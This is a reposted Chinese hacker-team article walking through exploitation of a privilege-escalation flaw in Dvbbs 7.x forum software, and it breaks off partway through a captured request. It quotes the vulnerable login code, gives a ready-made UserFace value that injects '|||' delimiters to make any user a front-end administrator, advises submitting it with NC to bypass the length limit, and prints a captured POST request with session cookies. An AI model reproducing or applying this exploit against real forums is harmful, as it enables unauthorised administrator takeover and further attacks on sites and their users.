文章作者:focn & jinsdb信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文,说是admin_postings.asp文件存在注入漏洞,但利用的前提是拥有超级斑竹或前台管理员权限。我想起以前发现的动网7.x版本存在一个前台权限提升漏洞, 正好可以结合起来利用。这个前台权限提升漏洞对7.x的Access和 Sql版都有效。下面我们就以7.0 sp2 sql版,讲解这个漏洞的利用。漏洞分析我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用户的权限。它是如何取得这个GroupID的呢?让我们看看登录验证的那一段:login.asp的525行左右Rem ==========论坛登录函数=========Rem 判断用户登录Function ChkUserLogin(username,password,mobile,usercookies,ctype) …………前面的代码省略 Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday " Sql=Sql+" From [Dv_User] Where "&sqlstr&"" set rsUser=Dvbbs.Execute(sql) If rsUser.eof and rsUser.bof Then ChkUserLogin=false Exit Function Else iMyUserInfo=rsUser.GetString(,1, "|||", "", "") rsUser.Close:Set rsUser = Nothing End If iMyUserInfo = "Dvbbs|||"& Now & "|||" & Now &"|||"& Dvbbs.BoardID &"|||"&iMyUserInfo &"||||||Dvbbs" iMyUserInfo = Split(iMyUserInfo,"|||") If trim(password)<>trim(iMyUserInfo(6)) Then ChkUserLogin=false ElseIf iMyUserInfo(17)=1 Then ChkUserLogin=false ElseIf iMyUserInfo(19)=5 Then ChkUserLogin=false Else ChkUserLogin=True Session(Dvbbs.CacheName & "UserID") = iMyUserInfo Dvbbs.UserID = iMyUserInfo(4) RegName = iMyUserInfo(5) Article = iMyUserInfo(8) UserLastLogin = iMyUserInfo(15) UserClass = iMyUserInfo(18) GroupID = iMyUserInfo(19) TitlePic = iMyUserInfo(34) If Article<0 Then Article=0 End If…………后面的代码省略可以看到,动网将用户的信息先用”|||”三个竖线连起来,做为一个字符串传给iMyUserInfo,然后iMyUserInfo由”|||”分隔成一个字符串数组。用户密码验证正确后就把数组的第20个元素的值:iMyUserInfo(19) 赋给GroupID。看到没,GroupID只是数组对应的第20个元素的值,如果iMyUserInfo(19)的值为1的话,动网就以为现在登录的用户是前台管理员了。 在inc目录下的Dv_ClsMain.asp文件中也有这么验证用户身份的一段代码,用来在用户更新信息后检测用户的权限。Dv_ClsMain.asp的650行左右 Public Sub TrueCheckUserLogin() ……前面的省略 Dim Rs,SQL Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday" Sql=Sql+" From [Dv_User] Where UserID = " & UserID Set Rs = Execute(Sql) If Rs.Eof And Rs.Bof Then Rs.Close:Set Rs = Nothing UserID = 0 EmptyCookies LetGuestSession() Else MyUserInfo=Rs.GetString(,1, "|||","","") Rs.Close:Set Rs = Nothing If IsArray(Session(CacheName & "UserID")) Then MyUserInfo = "Dvbbs|||"& Now & "|||" & Session(CacheName & "UserID")(2) &"|||"& BoardID &"|||"& MyUserInfo &"||||||Dvbbs" Else MyUserInfo = "Dvbbs|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID &"|||"& MyUserInfo &"||||||Dvbbs" End IF Response.Write MyUserInfo MyUserInfo = Split(MyUserInfo,"|||") …… End If End Sub '用户登录成功后,采用本函数读取用户数组并判断一些常用信息 Public Sub GetCacheUserInfo() MyUserInfo = Session(CacheName & "UserID") UserID = Clng(MyUserInfo(4)) MemberName = MyUserInfo(5) Lastlogin = MyUserInfo(15) If Not IsDate(LastLogin) Then LastLogin = Now() UserGroupID = Cint(MyUserInfo(19)) ……后面代码省略 两处检验的方式一模一样,所以我们可以利用这两个中的任意一个来达到我们的目的。看它的sql语句部分:Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday" Sql=Sql+" From [Dv_User] Where UserID = " & UserIDUserGroupID字段排在第16个,只要我们前面的一个字段的数据中含有”|||”,那么UserGroupID在MyUserInfo这个字符串数组的位置就改变了。对这个字段选取有些特殊的要求,字段类型要合适,不能为数字型,字段的长度要可以容纳下我们构造的数组,并且还得是上面sql语句中排在UserGroupID前面的字段,这样才能使构造的数组改变原来数组中UserGroupID的位置。对照图(1),我们能利用的就只有UserEmail、UserFace这两个字段了。由于IsValidEmail函数的存在,我们没法在UserEmail字段中插入’|’,所以能利用的就只有UserFace字段了。在基本资料修改时,动网只过滤了sql注入用的几个符号,没有过滤掉’|’,所以只要我们构造出正确的字符串,就可以骗过动网,成为管理员组的用户了。 face=Dv_FilterJS(replace(face,"'","")) face=Replace(face,"..","") face=Replace(face,"/","/") face=Replace(face,"^","") face=Replace(face,"#","") face=Replace(face,"%","")漏洞的利用如何构造这个UserFace来达到我们的目的呢?最开始我以为只要iMyUserInfo(19)为1就可以是管理员了,但一直没有成功。其实我们在构造这个UserFace时还要考虑到一点,我们已经改变了iMyUserInfo数组的结构,我们必须保证新的iMyUserInfo数组的前面一部分的结构和原数组结构一模一样,否则就会出现类型转换错误,比如UserBirthday,在新的数组中该字段位置的值必须为一个日期。我们可以直接拿一个正常的iMyUserInfo的后半部分做我们的UserFace值,然后将UserGroupID位置改为一。我修改了login.asp文件,让它在用户登录时显示当前用户的iMyUserInfo的内容,见图(2)例如admin(不一定非得是admin的,其他用户的也行,只要UserGroupID处改为1就行了)登录时的iMyUserInfo的值为:Dvbbs|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs我们可以取images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs做我们的UserFace值,要注意这个值的长度不能超过255个字符。动网限制了我们提交的字符为100个,我们可以用NC来提交。先在本机测试一下,用普通用户登录动网,现在用户等级还是新手上路如图(3)。好了,我们去修改基本信息的地方如图(4)提交,用wse抓下这个包,如图(5)。截取到的包如下:POST /bs/mymodify.asp?action=updat&username=4 HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*Referer: http://210.41.235.199/bs/mymodify.aspAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)Host: 210.41.235.199Content-Length: 396Connection: Keep-AliveCache-Control: no-cacheCookie: 210.41.235.199/bs/=usercookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=test&userclass=
转载请注明原文地址: https://ibbs.8miu.com/read-9785.html